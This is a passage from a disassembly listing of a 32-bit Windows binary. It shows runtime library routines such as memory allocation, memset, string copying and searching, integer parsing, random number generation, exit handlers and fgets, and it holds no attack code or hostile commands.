I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB2FC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC908 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC900 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C2F4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC904 call near ptr 27C0000h nop loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C504, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C504, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A29C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2C0, edi jnz short loc_41B7F0 push [esp+4+arg_0] call near ptr 27204F0h nop push eax nop call near ptr 2710B5Eh loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2BC, edi mov byte_4DB2B8, bl jnz short loc_41B844 mov eax, dword_4DC91C test eax, eax jz short loc_41B833 mov ecx, dword_4DC918 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC91C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2C0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A280, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A280 imul eax, 343FDh add eax, 269EC3h mov dword_43A280, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC7E1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C504, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C504, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C504, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C2F8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short 